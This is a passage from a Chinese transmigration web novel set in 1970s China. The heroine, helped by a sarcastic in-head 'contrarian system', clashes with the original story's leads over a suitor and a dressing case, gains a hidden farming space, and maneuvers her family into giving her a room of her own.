宋冬宝的眼睛眯成了一条缝隙:“哎哎。” 他已经好久没吃到肉了,迫不及待地咬了一口包子,一口就吃到肉馅了,这包子肉真多呀,不像他妈过年包的肉包子,三口咬下去都吃不到馅,一整个包子吃下来,只有满嘴的萝卜白菜,根本找不到肉在哪里。 肉包子给宋冬宝香迷糊了。这一瞬间,他对宋知南这个姐姐的姐弟情得到了升华。以前的他真是太混蛋了,总是跟姐姐作对,姐姐打他打得对。 宋冬宝几口下去就把肉包子干掉了,他舔舔嘴唇,真是意犹未尽。 宋知南说道:“等我下月发了工资,咱们偷偷去下馆子。” 宋冬宝的眼睛又眯成了一条缝:“姐,你对我真好。那什么,我去做饭了。” 宋冬宝哼着歌儿去做晚饭,宋知夏回来后也自觉去厨房帮忙。 宋知南跟宋冬宝说了一声,拿着稿纸和笔去了他的房间。 她和宋知夏的房间又小又暗,桌子和椅子高度不协调,坐着写字特别不舒服。不像宋冬宝和宋秋实的房间宽敞明亮,书桌和椅子也是最好的。明明这两人都不爱学习,书桌只是摆设。但父母宁愿把书桌放在儿子屋里当摆设,也不给她们两个用。要是她还找不着房子,不如就跟宋冬宝换房间。 宋知南简单收拾了一下乱糟糟的书桌,开始坐下来奋笔疾书。 她一直写到宋冬宝叫她吃晚饭才停下。宋知南出来时,宋上进和李玉华已经回来了。宋上进脸色还算正常,男人嘛,无论是谁都不会太影响他们的生活。 李玉华仍旧神色抑郁,充满着怨气。她视宋知南为无物,想跟以前一样,用精神压迫她。可惜她失算了,宋知南该吃吃该喝喝,什么破事都不往心里搁。回到家里啥事都不管,顿顿能吃三大碗。 当李玉华对宋知南进行死亡凝视时,宋知南在干饭;当宋上进用失望的目光望着宋知南唉声叹气时,她还在干饭。 宋冬宝向宋知南投去服气的目光,宋知夏暗暗投去羡慕佩服的目光。 宋知南干了三碗饭,吃到八分饱时自律地停下。 她用眼睛扫一扫在座的各位,她越看这几个人越不正常,全家就她精神状态最正常。果然,这个世界就是个巨大的精神病院,你要天天跟精神病人计较,日子还过不过了? 现在的宋家在宋知南的引领下形成了一种诡异的氛围:怪异而又和谐。 宋冬宝积极配合宋知南,宋知夏半推半就地配合。宋上进要的只是表面的和谐,至于私底下如何,他也懒得管。全家只有李玉华还在内耗难受。宋知南视她为无物,她难受是因为她想难受,那就让她难受。 宋知南暗自感慨:做人就是不能太懂事,你只要形成自己的行事风格,身边的人就会自觉主动地调整自己来适应你。现在的宋家一半人在适应她,另一半人迟早也会适应她的。 宋知南努力了几天,写了三篇文章分别投往《龙国纺织》、《妇女报》和本地晚报,买邮票时,她顺带多买了几张收藏。 日子一天天地过去,终于到了次月发工资的时间,宋知南上班的时间只有半个月,发了18块钱。钱不多,但挡不住她心情好。她下了班特意去工厂大门口等魏芬,告诉她这周日要请客,魏芬的两个女儿也从娘家接回来了,刚好一起请。 魏芬笑着说:“你还真要请客啊,你上次不是已经跟我分享过你的喜悦了吗?” 宋知南神色郑重:“那不一样的,我说请客就得请,做人要讲信用。这次还有我弟,我们很少下馆子,正好解解馋。” 魏芬推辞两次,见宋知南是真心要请也就同意了。 魏芬回家跟女儿小婵小娟一说,姐妹俩都高兴得蹦起来。下馆子谁不喜欢呢。 宋知南回到家就告诉宋冬宝这个周日她请客下馆子,宋冬宝激动得一蹦三尺高:“姐,真的假的?你不会逗我玩吧?” 宋知南白了他一眼:“不信啊,那你别来。” “信信,我当然信,姐你说啥我都信。” 宋冬宝试探道:“姐,就咱俩呀,还有别的人吗?” “魏芬姐和她的两个孩子也一起去。” 宋冬宝不解地问:“干吗请她呀?” “我能找到工作就是靠她提供的消息,记得替我保密啊。” “你尽管放心,我肯定替你保密。” 魏芬帮宋知南找工作的事,开始是宋知南要她保密。后来,宋秋实下乡,宋家闹得鸡飞狗跳的。魏芬也没敢跟别人说,同时也悄悄嘱咐宋知南不要声张,怕的就是李玉华和宋上进迁怒于她。毕竟大家都是一个家属院的,低头不见抬头见,闹僵了不太好。 宋知南对附近的国营饭馆不太了解,就问宋冬宝:“附近哪个饭馆比较好?” 宋冬宝想了想说:“咱们去群众饭店吧,价格实惠,量大好吃,服务员态度也还行。不像红星饭馆的服务员,他们打骂顾客。” “行,那咱们就去群众饭店。” 盼望着,盼望着,星期天到了。 宋冬宝今天起得格外早,做早饭做得格外带劲。虽然做得带劲,但他吃得很少,他要空着肚子去饭店吃。 宋知南正常吃饭,上午11点,她和宋冬宝收拾妥当,一起去叫魏芬。魏芬换了身外出穿的衣裳,给两个女儿梳了好看的小辫,换好衣裳。 这俩孩子大的叫小婵,今年六岁,小的叫小娟,四岁半,两人长得圆脸圆眼,胖胖乎乎的,特别可爱。两个孩子也挺懂礼貌,一见到宋知南就叫南姑姑,喊宋冬宝叔叔。 宋知南笑着纠正道:“我管你妈叫姐,你们就叫我南姨。” 两个小孩立即乖巧的改口:“南姨。” 五个人说说笑笑地出了院子,朝群众饭店走去。 到了饭店,人不算多,服务员态度不算热情也不算恶劣。宋冬宝眼疾手快地抢了个离厨房门口近的座位。 宋知南看黑板上的今日供应,就点了红烧鱼、红烧小排、尖椒炒豆腐、炒青菜、菠菜鸡蛋汤和一斤米饭,她想着有孩子在,又点了两根麻花。 魏芬在一旁听着宋知南报菜名,忍不住替她肉疼,她劝道:“小南啊,就咱们三个人别点那么多,吃不完。” 宋知南笑着说:“魏姐,点得不多,咱们有五个人呢。” 魏芬说:“两个孩子又不算人。” 小婵和小娟一脸茫然:“她们不算人,算什么?” 饭店主食要粮票,菜不用粮票。红烧鱼5毛钱一盘,红烧小排3毛,尖椒豆腐2毛钱,一碗菠菜鸡蛋汤2毛,麻花1毛五一根,米饭2毛钱加一斤粮票。一共才花了不到2元钱。 上菜速度不算快,他们等了二十多分钟,菜才陆陆续续地上来。 菜量确实挺大,看颜色也不错。宋知南每样尝了一口,味道挺不错。 宋冬宝乐得像过年似的,一边吃一边说:“姐,你真的是我亲姐。” 魏芬笑道:“她本来就是你亲姐。” 宋知南热情地招呼魏芬和两个孩子:“姐你多吃点鱼和肉,小婵小娟会吃鱼吗?” “我帮她们挑刺。” 两个孩子也是十分高兴,小婵说道:“妈妈,我要快些长大,长大了好上班挣工资,天天来饭馆吃饭。” 宋知南:“等你上班了就知道还是上学好。” 小婵不信,上学有什么好呢,又没有工资。肯定是上班好,大人都爱骗小孩。 三个大人一起看着她们笑,这人呐,小时候总是盼着快快长大,长大了觉得还是小时候好。 五个人边吃边聊,吃了一个小时,四菜一汤连带米饭,一点都没剩下,两根麻花每人尝了一小截,剩下的归两个孩子。俩孩子都摸着小肚子说吃撑了。 大家说说笑笑离开饭店,魏芬要去供销社买东西,宋冬宝要去找同学玩,宋知南则准备去新华书店看看,三人在路口分开,各自行动。 要去新华书店,得穿过文化广场。宋知南大步朝前走,在广场中央与一群年轻男女迎面相逢。别的人她不认识,但一眼认出了人群中的c位人物——原书男主霍峥嵘,原书女主江茶,男俊女美,其他人都是陪衬。宋知南面无表情地穿过他们,突然,人群中有个男生叫住她:“宋知南。” 20、第20章这福气给你要不要啊? 有人认识她?宋知南只好停住脚步,循着声音看过去,喊她的是一个大约十六七岁、长相猥琐、身材矮小瘦弱的男生。 宋知南看他有些面熟,赶紧调动脑中的记忆,很快就搜索出来了,此人名叫陈青,是她的初中同班同学。陈青从小父母双亡,跟爷爷奶奶相依为命,为人十分孝顺。家境不好再加上他长得瘦小,没少被同学孤立欺负,宋知南也被孤立过,看他可怜就替他说过几次话,但也仅此而已,这个时代还是挺保守的,两人私下里也没怎么来往过。 陈青一出现,宋知南脑中的剧情线就被触发了。她想起来了,这个陈青是男主霍峥嵘的忠实小弟,帮着霍峥嵘和女主江茶做黑市生意,后来也跟着发达了。 江茶除了喜欢男主,还喜欢帮助跟男主有关的男人,还喜欢拉郎配。 男主的一众小弟,不管是丑的花的阴郁的还是阳光的,都被江茶给分配了老婆。因为这,男主的一众小弟对江茶是百般夸赞。这些小弟们和媳妇有了矛盾,也是江茶这个大嫂前去调解,江茶总是四两拨千斤,云淡风轻地把事情给解决了,大家一起佩服夸赞江茶。 宋知南这个原书中的十八线女配,没有服从女主的分配。陈青因为宋知南帮助过他,就对她产生了别样的感情,曾追求过宋知南。按照原书中的时间线,原来的宋知南已经替代宋秋实下乡了,她去的地方是宋上进的老家。不久之后,陈青去乡下收购东西顺带看望下乡的朋友,正好碰见了宋知南,便对她表达了心意。宋知南拒绝了,说当时帮他只是同病相怜,没有别的意思。 这本是正常的拒绝,但陈青却觉得宋知南拒绝自己是因为嫌他穷,于是他一直憋着一口气想要出头。霍峥嵘和他的小弟们也为陈青鸣不平,觉得宋知南没眼光、嫌贫爱富。 后面,宋知南先嫁渣男后嫁鸡贼男,江茶和霍峥嵘提起她时,云淡风轻地说道:“这个宋知南看男人的眼光真差,她唯一幸福的机会就是嫁给陈青,结果这么好的机会被她亲手推开了。” 霍峥嵘也说:“有的女人摆不正自己的位置,看男人又只会看表面,下场凄惨也是活该。” 宋知南对此只想当面吐槽:“你们二位看人不看表面,倒是去找丑的穷的残的呀。江茶为什么不选择陈青呢?” 在原书中,凡是看不上男主以及男主兄弟的女人无一例外下场凄惨,别问,问就是作者让的。电视剧这么拍,小说也这么写,莫欺少年穷,男主和他的狗都不能欺,欺了就是三十年河东三十年河西,女配一定会悔不当初哭唧唧。 宋知南想得虽多,但很多东西都是一闪而过,倒也没有思索太久。 她很快就回过神来,打量了一眼陈青,怪不得原主拒绝他,这人长得又矮又瘦,个头跟她差不多,而且长相猥琐,女主评价他不可貌相,本质上义气又善良,最主要的是特别孝顺,但那又怎样?他孝顺自己的爷爷奶奶不是应该的吗?他孝顺义气善良,宋知南就得接受他的表白? 陈青看着宋知南,目光闪烁,抓耳挠腮:“那个知南,我前些日子听说你下乡了,原来你没去啊。” 宋知南:“我哥下乡去了。” “哦哦。” 两人说着话,霍峥嵘那一帮小弟你推我我推你,彼此之间挤眉弄眼,一个个目光炯炯地盯着陈青,陈青的脸越来越红,越来越手足无措。他看了一眼霍峥嵘,这可是他大哥,他如今身份跟以前可不一样了,想到这里,陈青立即勇气大增,便勇敢地向宋知南发起了邀约:“知南,我们一会儿要去看电影,你也一起来吧,我请你。” 说完,他紧张地盯着宋知南。 霍峥嵘的小弟们终于按捺不住,开始起哄:“是啊,宋同学,咱们一起去看电影吧,我们陈青是真心邀请你,你可得给面子。” 江茶款款地向宋知南走来,热情大方的自我介绍道:“你好,我叫江茶。你看队伍里不止你一个女孩,咱们大家一起去吧。” 陈青后知后觉,赶紧用骄傲的语气给宋知南介绍:“知南,这位是江茶同志,在咱们纺织厂广播站工作。” 接着,他用更骄傲的语气介绍霍峥嵘:“这位是霍哥,你一定听说过吧?” 宋知南客气地冲两人点头致意:“江同志好,霍同志好。” 接着宋知南毫不迟疑地拒绝道:“陈青同学,谢谢你的邀请,不过我今天还有事,电影就不看了。再见。” 陈青呆愣在哪里,不知道接下来该说什么好。 有人朝他使眼色,陈青赶紧问:“那你什么时候有空?” 宋知南的语气跟刚才一样坚决:“我一直很忙,再见陈青同志。” 陈青没料到宋知南会当众拒绝得这么干脆,又窘又气又不知所措。 宋知南想的是拒绝就要干脆,不要给人任何幻想。而且她不想跟男女主的人有任何牵扯,能离多远就离多远。 宋知南转身离开,她以为事情就到此结束了。没想到半路杀出个程咬金,一个铁塔似的男人挡在她面前。 此人长得五大三粗,又黑又壮,看不出真实年龄,说他二十多也行,三十多也可以,说话也是粗声粗气:“我说这位宋同志,我们陈青看上你那是你的福气,你这人真是不知好歹。” 宋知南看着面前这人,冷笑道:“他看上我就是我的福气?这福气给你你要不要啊?你这么欣赏他,你俩就一起过呗?” 众人:“……” 铁塔男虎目圆睁。 杠精系统:杠精值加5。 霍峥嵘见两人争执起来了,不禁眉头一蹙,他一皱眉,江茶就察觉到了,她脚步轻快地过来,对宋知南说:“宋同学,这位是李松同志,大家都叫他李逵,他这人心直口快没什么心眼。他的话你别往心里去。” 接着,她又替陈青说好话:“陈青同志是我们大家的好朋友,我们早听他提过你,说你当初在班里没少帮他,他也没别的意思,就是想回报你的情谊,咱们革命儿女就讲究一个大大方方,你不要这么害羞嘛。” 宋知南听到李松和李逵,脑中的剧情线再次被触发,嗯,这个李松是霍峥嵘最忠心的小弟之一,就相当于宋江身边的李逵,对霍峥嵘是无脑维护,而且武力值很高。不过此人脑子不好,破坏力强,大男子主义严重,宋知南本能地讨厌这类人。 宋知南对江茶面带微笑:“江茶同志,你的名字挺好,让我想起了我家里62年的龙井。如果你觉得陈青同志人很好,这福气也可以给你。你不要只盯着霍同志嘛,江湖儿女,讲究的就是一个雨露均沾。” 江茶:“……” 系统:杠精值加50。 宋知南说完这些,用力推开人群,大步离开。 正要过来替江茶说话的霍峥嵘面容阴郁地看着宋知南的背影。 不知道为什么,宋知南一接近原书男女主就感觉胸口发闷,情绪也变得暴躁。 想不通的事她干脆就不想了。 20-30 第21章 宋知南不知道的是, 她一离开,那些人就开始议论她。 大家义愤填膺:“呵, 这个宋知南还挺高傲。” “对啊,骄傲得跟那个吴明珠一样。” “人家吴明珠是厂长千金,长得比她漂亮多了,人家有骄傲的资本,她宋知南有什么呀?” “确实,咱们陈青看上她是她的福气,就她这样的,难道还想高攀不成。” “真是没有自知之明。” 大家一边骂宋知南一边安慰陈青。 陈青听到大家一起讨伐宋知南,受损的自尊心稍稍修复了些,这世上总有人看到他的好。 陈青神色失落,语气卑微:“没什么, 宋同学嫌弃我也理所应当, 毕竟我家那么穷, 长得又不好看。” “切,你家穷, 她家也不富呀。” “女人嘛, 就是嫌贫爱富。” “对对,不过得把咱们的江茶同志排除在外,她跟别的女人不一样。” “哈哈,那是那是。” 霍峥嵘听着大家的议论,面带笑容地看了江茶一眼,看来兄弟们都挺喜欢茶茶,在心里早把她当成大嫂了。 江茶娇嗔地瞪了霍峥嵘一眼。 她不由得暗暗为宋知南叹息:这个姑娘错过陈青这样孝顺善良的好男人, 她以后一定会后悔的。 宋知南去新华书店买了一本字典,书店的书又贵又少, 还不让随便翻看,要看什么只能让店员从柜台里拿出来,次数多了,店员就很不耐烦。宋知南决定以后还是常去废品收购站逛逛。 宋知南把字典装到书包里,打算去电影院后面的废品收购站看看。 她刚进去,就看到收购站的工作人员抬进来一堆东西,书、杂志、梳妆盒甚至还有日记本和相框。 宋知南一眼就看上到了那个古色古香的深红色梳妆盒,她指着梳妆盒问道:“这个怎么卖?” “2块。” “太贵了,八毛卖不卖?” “1块五。” 宋知南一边讲价一边打开梳妆盒翻看,里面什么也没有,但她就是莫名地喜欢。 “1块吧,就是个盒子而已。” “行吧,给你吧。” 宋知南正要掏钱,突然从门口进来一群人,为首的正是江茶和一个穿红色格子裙的女孩。 江茶看到宋知南手中的梳妆盒,突然眼睛一亮,这个东西她也想要。 她笑吟吟地看着宋知南:“宋同志,我想要你手里的那个盒子,你不要的话就给我吧,我一向喜欢收集这些小玩意。” 宋知南摇头拒绝:“江同志,这盒子是我先看上的,正准备付钱呢。” 说着,她把一块钱递给废品站的工作人员。 谁知这工作人员却犹豫着没接钱,反而看向门外的霍峥嵘。 霍峥嵘开了金口:“宋知南,你把盒子让给江茶。” 宋知南听到这霸总似的命令,心中一股无名之火蹭地一下涌上来,她冷声说:“霍同志,请收起你那高高在上的命令,你好像忘了我不是你的手下。” 杠精系统:杠精值加50。 宋知南心中暗暗惊讶,原书男女主的杠精值竟然远高于其他人,杠一次就50。 霍峥嵘蹙起了好看的眉头,居高临下地看着宋知南。很少有女同志用这样的语气跟他说话。 江茶见两人呛起来,赶紧柔声对霍峥嵘说:“峥嵘,其实我也不是非要这个盒子不可,既然宋同志喜欢就给她吧。我不希望你为这点小事生气。” 宋知南的胃里忍不住翻腾起来,没办法,她的胃受不了一切茶味饮料。 霍峥嵘不再看宋知南,而是看着废品收购站的工作人员:“老钱,这个盒子宋同志出多少钱?我出三倍。” 老钱一脸惊讶。 宋知南心中冷笑,这是拿钱砸人呢。哪怕是七零年代,霸总也改变不了行事风格。 她脑子飞快地转动着,思索着解决方案,跟霍峥嵘竞价?不行,她不当那个冤大头。 为什么江茶非要这个盒子不可?她突然记起来,书中提过江茶的直觉很强,她喜欢的东西一般都是好东西,她莫名觉得不对的地方最后都不对劲,大家还称她为福气包。也就是说,这个盒子里另有乾坤。 就在这时,脑中的杠精系统突然开口了:“宿主宿主,这盒子里有好东西,你把手伸进夹层。” 宋知南假装在把玩梳妆盒,去翻里面的夹层,里面真有东西,她就看到一丝白光在手指上闪现,系统帮她把东西取走了。 这下刷新了宋知南的认知,她还以为系统只会播报杠精值,原来它是这样的统子。 杠精系统:“我们杠精都是人才,只不过你只看到了我的杠。好了好了,本统拿走了里面的东西,还顺便复制了一个一模一样的在里面。” 系统都这样了,她也只能买了。竞价就竞价吧,反正也值了。 她不由分说地拿出3块钱硬塞到工作人员手里:“我也给你3块,这盒子我买了。”说完,她转身就走。 霍峥嵘出声叫住宋知南:“宋同志,你等一下。” 宋知南眉头一皱,计上心来。霍峥嵘财大气粗是吧?行,今天我就让你出出血。 她头也不回地说道:“出来说话吧。” 霍峥嵘和江茶一帮人赶紧跟了出来。 宋知南停下脚步,转头对他们说道:“霍同志,既然你要搏美人一笑,那我就成全你,这样吧,你给我二十块钱,这盒子我让给你。” 众人:“……”这个宋知南可真敢要。 有人不满地大声嚷道:“姓宋的,你可真会赚钱,奸商都没你奸。” 宋知南语带不屑:“切,出不起这个钱就别充大头。我又没逼他买。” 宋知南说到这里瞥了霍峥嵘一眼,挑衅地问:“霍同志,敢情你的情谊和面子还不值20块钱?” 江茶面带恼怒,正要替霍峥嵘说话,霍峥嵘已经冷冷地开了口:“成交。” 江茶温柔地劝道:“峥嵘你不要这么为我破费,这盒子我不是非要不可。” 霍峥嵘冲她微微一笑:“没事的茶茶,你喜欢什么我都会帮你拿到手。” 他掏出二十块钱递给宋知南,宋知南飞快地接过钱,把盒子递给了江茶。 江茶身边的格子裙女孩却不干了,她语气愤怒:“宋同学,一个破盒子你要二十块钱,你也太过分了,你是没见过钱吗?” 宋知南立即呛回去:“这个不要脸的女同学,你是没长眼睛吗?是你的霍大哥非要买我手中的盒子,你应该说他没见过女人吗?你也应该去说江茶没见过盒子吗?前后逻辑都理不清,你长脑子是为了显个吗?” 杠精值加10。 格子裙女生一脸受伤:“你怎么说话这么难听?” 宋知南淡然一笑:“就你说话好听,口蜜腹剑的假闺蜜,暗中觊觎朋友男人的小人,我也想问一句,你是没见过男人吗?就喜欢抢熟人的心上人。” 她这话引得江茶和格子裙女生一起变脸。 宋知南哈哈一笑,转身迈着轻快的步子离开了。 她出来时,就看到霍峥嵘的另一帮小弟站在废品站的门口抽烟,陈青也在里面。 陈青一看到宋知南,一脸的踟蹰,像是在犹豫着要不要上前打招呼。宋知南不给他犹豫的时间,看也没看他,加快速度快步离开。 陈青站在原地,一脸尴尬。 宋知南换了一条人少的小路,用意识跟系统沟通:“杠杠系统,为什么江茶和霍峥嵘的杠精值高出别人这么多?” 系统:“因为他们是原世界的天选之子/女。” 宋知南:“为什么我一看到他们就莫名愤怒暴躁。” 系统:“因为你的本能告诉你,遇到他们准没好事。” 宋知南还想再问,系统装死不回答,问得不耐烦了,就来一句:“天机不可泄露。我只是个普普通通的杠精系统,我只管抬杠的事,其余的不管。” “系统,你把那个盒子里的东西给我。” 系统不说话了。 宋知南有一种不好的预感:“你不会私吞了吧?赶紧还我,是我发现的。” 系统心虚地说:“那什么,里面是颗珠子,被我吃了。” 它怕宋知南发火,飞快地补充道:“其实这颗珠子可以开启随身空间,但珠子正在被我吸收,稍后会把空间给你。” 宋知南再次触发了剧情记忆,原书女主江茶是有个随身空间,可以种蔬菜水果和粮食,所以她总有好东西去黑市卖。她这是无意间抢了原女主的机缘。 抢就抢呗,机缘就是谁先到谁先得。而且经过这两次的接触,宋知南对两人十分厌恶,特别是见到霍峥嵘总想怼他打他脸。没办法,她天生对这种自以为是、爱装叉的男人过敏。 系统说到做到,等到宋知南回到家时,她的脑海里就浮现出了一个空间,空间约有二亩地大小,土是肥沃的黑土地,田地中央还有一口泉。 看过小说的都知道,这肯定是灵泉。 宋知南先闷了一大捧泉水,只觉得甘甜凉爽,令人神清气爽。 发财了发财了,谁有她这么好的运气? 宋知南的心态也随之发生了变化,以前她本能地想避开剧情线,但是这次的经历让她发现,避是避不开的,再说了,她为什么要避开?她是那种躲避型的人吗?那不如迎面而上,毕竟杠这两人收益特别高。 既然不打算躲避剧情线,那也不能这么被动。 宋知南拿出笔记本,记下关于原书的部分剧情,她看书一目十行,很多细节记不住,但她可以从结果倒推原因,还可以大胆假设,合理推测。 首先从江茶和霍峥嵘的人际关系着手,马克思说了,人是一切社会关系的总和。 这两人的朋友是谁,敌人是谁? 他们的朋友很多,今天就见了不少,敌人更值得研究,敌人的敌人就是朋友。 她在书中是十八线女配,原书第一反派女配是谁来着?吴明珠,对就是吴明珠,纺织厂吴厂长的女儿,这位是大小姐脾气,性格骄傲跋扈,十分看不惯女主,一直跟她作对。 吴厂长宠女儿宠得几乎没有原则,最后被霍峥嵘斗倒了,吴家被革委会查抄,吴明珠自然也随之跌落谷底,她的下场比原主还惨,书中为了照顾读者的情绪,只是隐晦地说她被人凌辱,最后精神崩溃,疯了。 宋知南决定先去会会这个吴明珠。 第22章 却说江茶终于如愿以偿地得到了梳妆盒, 她珍而重之地放在书包里,因为惦记着里面的东西, 看电影时她都心不在焉。她从小直觉就特别准,只要她喜欢的东西一般都是好东西,今天她突然莫名其妙地想去废品收购站,到了收购站,她一眼就看中了宋知南手中的那个梳妆盒。 等到电影结束,江茶匆匆回到家里,关上房门,打开梳妆盒,果不其然,盒子里有夹层,里面有一颗莹亮的绿珠子, 一看就是好东西。她毫不犹豫地用针尖戳破手指, 把血滴在珠子上, 没反应,完全没反应。她以为是血太少, 忍着疼又用力戳了几下, 血滴在珠子上,还是没任何反应。 江茶喃喃自语道:“不应该呀,怎么会这样?”她的直觉很少有出错的时候,这次是哪里出了问题? 想了一会儿,江茶终于放弃。虽然不能滴血认珠,但这颗珠子一定很值钱,以后拿出去卖掉也行。 宋知南得到种植空间后的第一件事就是想办法买种子, 她要种菜种粮食,除此以外, 她还薅了一把系统的羊毛,把它的那个复制东西的技能给要了过来。 统子起初不想给,找了一堆借口劝退:“宿主,这个复制箱子用处不大,不能复制钱和特别稀缺的东西,还有次数限制,用处不大,真的。” 宋知南就骂它:“你这不要脸的统子,我辛辛苦苦得到的珠子被你偷吃了,那么好的一颗珠子啊,你咋好意思下嘴?你摸摸自己的良心不会痛吗?你吃了我那么贵重的东西,我问你要点回礼怎么了?礼尚往来你懂不懂?谁家正常的统子像你这么又抠又奇葩,天天让我杠人,为了你,我连自己的亲生父母都杠。是你毁了我做好女人的机会,以前的我天真无邪、安静文雅,再看看现在的我,我再也回不去了。” 杠精系统:有一点愧疚一点心痛怎么办?它是不是真的有点奇葩?人家别的统子都是娇妻统种田统攻略男人统,只有它是抬杠统。 杠精系统也没有注意到自己犯了天下杠精都不会犯的错误,那就是怀疑自己,杠精一般都是甩锅别人,绝不内耗自己。 系统一怀疑一内耗,宋知南就掌握了主动权,终于达成了目的。 宋知南收到系统的复制箱子,不由得虎躯一震,原来统子也能骂呀。她本来就是有枣没枣打一杆子,没想到真的有用。早知道她早开口骂了。 这时候统子突然反应过来,它迟疑着问道:“宿主,以前的你真的天真无邪、安静文雅?你不是因为能杠才被选中的吗?” 宋知南毫不心虚:“我一岁之前还是十分天真无邪、安静文雅的,都是吃了睡,睡醒了吃,从来没骂过人。一个小婴儿能有什么坏心眼?你说是不是?” 统子:“……”离了个大谱。 宋知南有了种植空间,就忍不住手痒想种田,但她要种田就得亲身进去,她跟宋知夏合住一个房间,十分不方便。 她想跟宋冬宝换房间,可是让宋冬宝一个半大小子跟宋知夏合住一间屋也不合适,宿舍又申请不了,租房租不到,宋知南的心情就有些烦躁。 晚上等宋知夏回家,她就问道:“你跟陈安华什么时候办酒席?你打算什么时候搬过去?” 宋知夏一说到结婚的事,神情都变羞涩了,小声说:“安华正在准备呢,办酒席可不是一件容易事,光是粮票就要准备很久。他家房子不大,还有弟弟妹妹,爷爷奶奶也跟他们住一起,安华说打算在院子里再盖一间新房,邻居们有的同意有的不同意,且得商量呢。” 宋知南皱着眉头:“不是说他家条件好吗?就这条件?” 宋知夏连忙为陈安华辩解:“他家条件当然好,他大伯有本事,他姑也挺有能耐。” 宋知南:“问题是你嫁的又不是他大伯。” 宋知夏恼羞成怒:“你瞎说什么呢,我的事你别管。” 宋知南:“我才懒得管。”我只是想要个独立的房间。 也就是说,宋知夏一时半会搬不走,她依旧没有独立的房间。 宋知南再去宋冬宝的房间写稿时,忍不住表示了妒忌:“我也想有个独立的房间,我想跟你换,又觉得你跟二姐住一间房不合适。” 宋冬宝对这个三姐是又怕又爱,上回的下馆子和肉包子已经彻底俘虏了他,他主动提出:“三姐,要不我搬到客厅去住,房间让给你?” 宋知南眼晴一亮,嘴里说:“让你住客厅,不太好吧?” 宋冬宝当即表示:“我一个男孩子住哪不行?反正就是睡个觉的事。” 宋知南用力拍拍宋冬宝的肩膀:“你真是我的好弟弟,能甩宋秋实十条街,都是一个爹妈生的,你说差距咋就那么大呢。” 宋冬宝被夸得迷迷糊糊的。 “明天我回来还给你带肉包子。” “哎,谢谢姐。你真的比二姐好太多了,都是姐姐,她跟你的差距咋就那么大呢。” 姐弟两人商业互吹了一会儿,心情十分愉悦。 第二天下班回家,宋知南果然给宋冬宝带了肉包子,不但有肉包子,还有一顶带五角星的军绿色帽子,她路过供销社时买的,不要布票。 宋冬宝收到包子和帽子,乐得一蹦三尺高,当即就帮着宋知南把东西搬到自己房间。他们家有时候会有老家的亲戚来,家里本来就有一张行军床,宋冬宝晚上直接睡行军床就行。 宋知夏看三妹把弟弟忽悠到了客厅睡,而且傻弟弟还欢天喜地的,顿时觉得不可思议。 宋上进和李玉华得知儿子要把房间腾出来给三女儿住,自己却要睡客厅,两人是又气又怒。 李玉华先骂宋冬宝:“你这个怂包傻蛋,放着好好的房间不住,非要出来住客厅。人家让你咋样你就咋样,你的脑子呢?别忘了,你是男孩,这个家以后是你跟你哥的。” 宋冬宝梗着脖子:“我就爱住客厅,客厅宽敞方便。” 李玉华和宋上进一脸地恨铁不成纲。 李玉华恨恨地看向宋知南:“你知道这事要是传出去,人家会怎么说吗?” 宋知南:“我知道,大家肯定都会说,冬宝终于有弟弟的样子了,男孩子就要多吃苦,没苦也要硬吃。” 两人闭眼闭口,他们突然不知道说什么好。 宋知南用他们的逻辑劝他们:“还有啊,你们以前不是爱说什么女儿是娘家的娇客吗?要是这么说,那你们就应该给我最好的房间,毕竟谁家对待客人不是拿出最好的东西?招待客人不周到是要被戳脊梁骨的。” 夫妻二人相顾无言。 不管怎么说,宋知南终于有了独立的房间,宋知夏也是第一次有了自己的房间,但她的心情很不是滋味。 从小她就知道自己和姐姐妹妹是娘家的客人,但没想到客人的身份还能这么利用。不得不说,三妹的脑子真的好使。 当天晚上,宋知南锁上房门,进空间开始种菜。系统商城里也有蔬菜种子,她用杠精值买了几包,都是些常见的蔬菜:菠菜、空心菜、小白菜、西红柿、黄瓜之类的。 但她又产生了一个疑问,这些菜种出来之后怎么处理呢?难道她也要跟女主一样去黑市卖东西?她自己吃又以什么理由拿出来呢?现在买什么东西都是凭票证,青菜、大白菜倒是不用票,但也不能大量购买,每次都得排长队。她不用去买菜还能每天拿出青菜,次数多了,家人和邻居们肯定会发现端倪。这个时代虽没有摄像头,但人人都是摄像头,她可不能掉以轻心。 所以还是得租房子,最好能租带小院的,有一小块地能种菜再好不过。 第二天上班时,宋知南再一次提找房子的事。何黛说道:“房子还真有一处,就是有点麻烦。对了,陆诗月是你同学对吗?” 宋知南点头:“她是我隔壁班的同学,怎么了?她家有房子?” 何黛说:“陆诗月现在在广播站工作,咱们厂长的女儿吴明珠也在广播站工作,她家有空房,还带院子呢。她一个人住害怕,就让陆诗月跟她一起住。不过人家吴明珠不差钱,不一定愿意租。” 宋知南顿觉有门,她本来就打算找机会认识一下吴明珠,这样好了,一举两得。事不宜迟,她今天就去找陆诗月探探口风。 宋知南跟何黛说午休时她要去广播室看陆诗月,中午让她值班。值班本来就是轮流来的,何黛自然答应。 中午一下班,何黛飞快地去食堂打饭,她顺便把宋知南的饭也给打来了,两人一起在办公室吃了饭,宋知南收拾一下准备去广播室找陆诗月。她到工厂门口副食店花一毛三分钱买了一包多味瓜子带着去。 宋知南人还没到,广播里就传出了一个清亮悦耳的女声,这声音不像是陆诗月的,倒像是江茶的。 江茶普通话挺标准,语调抑扬顿挫,稿子内容还算不错。 看来中午也是广播室忙碌的时候,宋知南觉得自己来的可能不是时候,不过来都来了,她还是得进来看看。如果陆诗月在忙,她就再约个时间。 等她到广播室的时候,看到陆诗月和一个容貌明艳,身材高挑的女孩正坐在休息室喝茶。 宋知南站在门口叫了声:“陆诗月。” 第23章 陆诗月一看来人是宋知南, 不禁有些诧异,两人寒暄了几句, 陆诗月好奇地问道:“宋知南,我听说你在妇联工作?” 宋知南面带笑容,语气真诚:“是的,我刚来上班不久,听人说你在广播站,就马上过来瞧瞧。恭喜你,这可是个好工作。” 陆诗月抿嘴笑笑,她想起什么,赶紧给宋知南介绍身边那个漂亮高挑的女同志:“知南,这位是吴明珠,是带我的师父。” 吴明珠打量了宋知南一眼, 冲她点点头, 矜持地说:“你好。” 宋知南对吴明珠的热情恰到好处, “吴同志好。” 她说着把瓜子放到桌上,陆诗月也没客气, 招呼吴明珠一起吃, 吴明珠说她不爱磕瓜子,陆诗月和宋知南就一边磕瓜子一边小声说话。 宋知南问陆诗月:“诗月,里面正在广播的同志是不是叫江茶?” 陆诗月诧异道:“你也认识江茶?” 宋知南流露出一言难尽的微妙表情:“认识。” 